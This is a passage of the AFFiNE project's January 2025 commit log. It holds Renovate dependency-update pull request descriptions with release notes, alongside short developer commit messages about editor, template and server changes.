-   Addon Test: Wrap sub-paths exported with `require.resolve` - [#&#8203;30026](https://redirect.github.com/storybookjs/storybook/pull/30026), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Themes: Deprecate useThemeParameters - [#&#8203;30111](https://redirect.github.com/storybookjs/storybook/pull/30111), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Angular: Support statsJson in angular schemas - [#&#8203;29233](https://redirect.github.com/storybookjs/storybook/pull/29233), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Automigration: Improve addon-a11y-addon-test - [#&#8203;30127](https://redirect.github.com/storybookjs/storybook/pull/30127), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Automigration: Improve setup file transformation and version range handling for a11y migration - [#&#8203;30060](https://redirect.github.com/storybookjs/storybook/pull/30060), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Automigrations: Skip vite config file migration for react native web - [#&#8203;30190](https://redirect.github.com/storybookjs/storybook/pull/30190), thanks [@&#8203;dannyhw](https://redirect.github.com/dannyhw)!
-   Build: Downgrade to esbuild 0.24.0 - [#&#8203;30116](https://redirect.github.com/storybookjs/storybook/pull/30116), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Build: Revert Downgrade to esbuild 0.24.0 - [#&#8203;30120](https://redirect.github.com/storybookjs/storybook/pull/30120), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   CLI: Fix init help for `storybook` command - [#&#8203;29480](https://redirect.github.com/storybookjs/storybook/pull/29480), thanks [@&#8203;toothlessdev](https://redirect.github.com/toothlessdev)!
-   CLI: Fix new-frameworks automigration - [#&#8203;29804](https://redirect.github.com/storybookjs/storybook/pull/29804), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   CLI: Re-Add Nuxt support - [#&#8203;28607](https://redirect.github.com/storybookjs/storybook/pull/28607), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   CLI: Update a11y-test comment with experimental caveat - [#&#8203;30258](https://redirect.github.com/storybookjs

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTA3LjAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
2025-01-16 03:39:08 +00:00
renovate
fd2df1c8bb chore: bump up @blocksuite/icons version to v2.2.2 (#9684)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.2.1` -> `2.2.2`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.2.1/2.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.2.2`](397f423d3f...837a202601)

[Compare Source](397f423d3f...837a202601)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-16 03:23:37 +00:00
CatsJuice
ad86292f45 test(core): add basic tests for template doc setting (#9702)
close AF-2112, AF-2114, AF-2115
2025-01-16 02:28:29 +00:00
pengx17
0ed9258f51 fix(core): some dnd perf issues (#9661)
1. page list item are bound two draggables. adding `draggable` prop to WorkbenchLink to mitigate the issue.
2. DndService may not resolve datatransfer when dragging.
2025-01-15 15:04:01 +00:00
pengx17
b1896746f9 refactor(core): move setting dialog to workspace scope (#9706) 2025-01-15 13:00:06 +00:00
L-Sun
9df338274d chore(core): update tooltip of mode switcher (#9711)
Close [BS-2325](https://linear.app/affine-design/issue/BS-2325/tooltips-显示)

https://github.com/user-attachments/assets/bd4c6045-8de1-4e72-87ab-2d1d3262e6b7
2025-01-15 12:22:37 +00:00
L-Sun
94c9717a35 feat(editor): edgeless page block toolbar (#9707)
Close [BS-2315](https://linear.app/affine-design/issue/BS-2315/page-block-header)

### What Changes
- Add header toolbar to page block (the first note in canvas)
- Add e2e tests
- Add some edgeless e2e test utils.  **The package `@blocksuite/affine` was added to `"@affine-test/kit"`**
2025-01-15 12:04:44 +00:00
CatsJuice
494a9473d5 feat(core): start with edgeless for empty page (#9699)
close AF-2074
2025-01-15 11:21:20 +00:00
CatsJuice
d82951a7c5 feat(core): sidebar journal panel template onboarding and setting (#9680)
close AF-2108
2025-01-15 11:21:18 +00:00
fundon
0b2d11e6b1 fix(editor): text highlighting (#9708) 2025-01-15 10:57:27 +00:00
fundon
7002289c58 fix(editor): avoid drag and drag over updating drag indicator at the same time (#9656)
* add a `dragging` signal to the file drop manager
* `drag over` logic should  not be triggered  when inside app
* avoid drag and drag over updating `drag indicator` at the same time
2025-01-15 08:10:08 +00:00
pengx17
0bce5c6730 feat(core): remove workspace selectors in settings (#9705)
fix AF-2119
2025-01-15 07:37:25 +00:00
fourdim
c31a0d28cf fix(core): dependency cycle (#9704) 2025-01-15 05:38:05 +00:00
donteatfriedrice
4f421efb22 fix(editor): init default theme observer value according to data-theme (#9698) 2025-01-15 04:04:06 +00:00
CatsJuice
419611f44c feat(core): sidebar template doc entrance (#9676)
close AF-2048, AF-2050, AF-2049
2025-01-15 03:45:10 +00:00
CatsJuice
1c90747899 feat(core): template doc list empty ui (#9675)
close AF-2109
2025-01-15 03:45:09 +00:00
zzj3720
ff295f383f refactor(editor): enable the noUncheckedIndexedAccess rule for the block-database package (#9691)
close: BS-2269
2025-01-14 14:35:46 +00:00
donteatfriedrice
aa2a8fbf9b fix(editor): adapters panel type (#9690) 2025-01-14 11:02:00 +00:00
akumatus
c8e550138d fix(core): add ai send button test (#9685) 2025-01-14 10:06:31 +00:00
JimmFly
a24630ba56 fix(core): workspace selector on the upgrade to team page overflows (#9586)
<img width="476" alt="截屏2025-01-08 下午4 19 04" src="https://github.com/user-attachments/assets/3a958a4b-3585-4366-9a60-ae73a654b95f" />
2025-01-14 09:47:59 +00:00
forehalo
13d40e5f52 fix(tools): make cli available even conficts exist (#9678) 2025-01-14 09:31:24 +00:00
forehalo
e418465c0c test: playwright cloud import prisma (#9677) 2025-01-14 09:31:23 +00:00
renovate
8e07753b51 chore: bump up all non-major dependencies (#9651)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.14` -> `1.0.15`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.14/1.0.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.4` -> `19.0.7`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.4/19.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.4/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.4/19.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.2` -> `19.0.3`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.2/19.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.2/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.2/19.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.3.0` -> `12.3.2`](https://renovatebot.com/diffs/npm/inquirer/12.3.0/12.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.3.0/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.3.0/12.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.19` -> `0.16.20`](https://renovatebot.com/diffs/npm/katex/0.16.19/0.16.20) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.19/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.19/0.16.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`0.471.0` -> `0.471.1`](https://renovatebot.com/diffs/npm/lucide-react/0.471.0/0.471.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.471.0/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.471.0/0.471.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.26` -> `3.0.0-alpha.27` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.26/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.26/3.0.0-alpha.27?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.23` -> `3.0.0-alpha.25` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.23/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.23/3.0.0-alpha.25?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.4.49` -> `8.5.0`](https://renovatebot.com/diffs/npm/postcss/8.4.49/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.4.49/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.4.49/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.26.1` -> `1.27.0`](https://renovatebot.com/diffs/npm/shiki/1.26.1/1.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.26.1/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.26.1/1.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.19.1` -> `8.20.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.19.1/8.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.19.1/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.19.1/8.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| org.mozilla.rust-android-gradle.rust-android | `0.9.5` -> `0.9.6` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.5/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.mozilla.rust-android-gradle.rust-android:org.mozilla.rust-android-gradle.rust-android.gradle.plugin/0.9.5/0.9.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.15`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.15): 1.0.15 (2025-01-11)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.14...v1.0.15)

Adds real index.d.ts file to package

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.4`](https://redirect.github.com/toeverything/design/compare/1.1.3...1.1.4)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.3...1.1.4)

</details>

<details>
<summary>SBoudrias/Inquirer.js (inquirer)</summary>

### [`v12.3.2`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.1...inquirer@12.3.2)

[Compare Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.1...inquirer@12.3.2)

### [`v12.3.1`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.0...inquirer@12.3.1)

[Compare Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/inquirer@12.3.0...inquirer@12.3.1)

</details>

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.20`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01620-2025-01-12)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20)

##### Bug Fixes

-   \providecommand does not overwrite existing macro ([#&#8203;4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000)) ([6d30fe4](6d30fe47b0)), closes [#&#8203;3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.471.1`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.471.1): Hotfix Lucide React exports

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.471.0...0.471.1)

#### What's Changed

-   fix(lucide-react) Adds type module in package.json by [@&#8203;ericfennis](https://redirect.github.com/ericfennis) in [https://github.com/lucide-icons/lucide/pull/2731](https://redirect.github.com/lucide-icons/lucide/pull/2731)

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.27`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.27)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.26...napi@3.0.0-alpha.27)

#### What's Changed

-   fix(napi): add back Buffer/TypedArray custom gc on wasi by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2421](https://redirect.github.com/napi-rs/napi-rs/pull/2421)
-   feat(napi): allow create ReadableStream from polyfill by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2424](https://redirect.github.com/napi-rs/napi-rs/pull/2424)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.27

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.0`](https://redirect.github.com/postcss/postcss/compare/8.4.49...687327055ded618a36dd3cd7c39abe3428d56acb)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.4.49...8.5.0)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.27.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.27.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.2...v1.27.0)

#####    🚀 Features

-   **codegen**: New pacakge  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/889](https://redirect.github.com/shikijs/shiki/issues/889) [<samp>(52046)</samp>](https://redirect.github.com/shikijs/shiki/commit/52046ffd)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.26.2...v1.27.0)

### [`v1.26.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.26.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.1...v1.26.2)

#####    🚀 Features

-   Update deps and grammars  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(68f78)</samp>](https://redirect.github.com/shikijs/shiki/commit/68f78624)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.26.1...v1.26.2)

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.20.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8200-2025-01-13)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.19.1...v8.20.0)

##### 🚀 Features

-   **eslint-plugin:** \[no-misused-spread] add new rule ([#&#8203;10551](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/10551))

##### ❤️ Thank You

-   Josh Goldberg 

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-14 09:10:30 +00:00
fengmk2
b7635c8944 refactor(server): use session model in auth service (#9660) 2025-01-14 07:43:26 +00:00
fengmk2
ee99b0cc9d refactor(server): use verificationToken model instead of tokenService (#9657) 2025-01-14 03:39:05 +00:00
fengmk2
290b2074c8 feat(server): verificationToken model (#9655) 2025-01-14 03:39:05 +00:00
fengmk2
afd2c3f642 feat(server): session model (#9652) 2025-01-14 03:02:19 +00:00
CatsJuice
af3ad4bfe9 feat(core): template doc setting ui (#9658)
close AF-2051, AF-2052
2025-01-14 02:10:35 +00:00
CatsJuice
57b89b5ad4 feat(core): template-doc settings for user-worksapce scope (#9566) 2025-01-14 02:10:34 +00:00
CatsJuice
10196f6785 feat(core): new template doc property (#9538)
close AF-2045, AF-2047, AF-2065
2025-01-14 02:10:33 +00:00
Yifeng Wang
777eea124d fix(editor): migrate basic playground examples (#9669) 2025-01-13 23:33:10 +08:00
forehalo
4ec02dbb39 fix(tools): windows path 2025-01-13 22:53:34 +08:00
zzj3720
80f8944188 fix(editor): should not update table selection after table is destroyed (#9665) 2025-01-13 10:43:02 +00:00
fundon
7e5e6031e8 chore(editor): update default colors of shape (#9633)
Closes: [PD-2176](https://linear.app/affine-design/issue/PD-2176/edgeless-shape默认颜色调整)

* updates shape's text color to the `#000000ff` and custom button should be selected by default in color picker
* updates shape background default color palette to `medium`

<img width="727" alt="Screenshot 2025-01-13 at 11 07 14" src="https://github.com/user-attachments/assets/81962741-0dbc-4990-8eec-db5e48624305" />
<img width="444" alt="Screenshot 2025-01-13 at 11 07 09" src="https://github.com/user-attachments/assets/2d119e33-635e-4bd4-826f-e3094c8a3fa2" />

<img width="764" alt="Screenshot 2025-01-13 at 11 08 14" src="https://github.com/user-attachments/assets/09f5c778-0e25-4972-8529-8d8323c27594" />
2025-01-13 10:19:58 +00:00
zzj3720
810e656174 fix(editor): add shift middleware for tag select panel (#9664)
fix: BS-1749
2025-01-13 09:05:05 +00:00
Brooooooklyn
e72371d15c style: use typescript resolver for eslint import plugin (#9662) 2025-01-13 05:56:29 +00:00
renovate
77fbcb1b9a chore: bump up oxlint version to v0.15.6 (#9659)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.5` -> `0.15.6`](https://renovatebot.com/diffs/npm/oxlint/0.15.5/0.15.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.5/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.5/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.6`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.6): oxlint v0.15.6

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.5...oxlint_v0.15.6)

#### \[0.15.6] - 2025-01-13

##### Features

-   [`457aa31`](https://redirect.github.com/oxc-project/oxc/commit/457aa31) linter: Implement `no-lone-blocks` rule ([#&#8203;8145](https://redirect.github.com/oxc-project/oxc/issues/8145)) (Yuichiro Yamashita)

##### Refactor

-   [`aea9551`](https://redirect.github.com/oxc-project/oxc/commit/aea9551) ast: Simplify `get_identifier_reference` of `TSType` and `TSTypeName` ([#&#8203;8273](https://redirect.github.com/oxc-project/oxc/issues/8273)) (Dunqing)
-   [`43ed3e1`](https://redirect.github.com/oxc-project/oxc/commit/43ed3e1) linter: Add output formatter ([#&#8203;8436](https://redirect.github.com/oxc-project/oxc/issues/8436)) (Alexander S.)
-   [`4e05e66`](https://redirect.github.com/oxc-project/oxc/commit/4e05e66) linter: Remove glob for windows ([#&#8203;8390](https://redirect.github.com/oxc-project/oxc/issues/8390)) (Alexander S.)
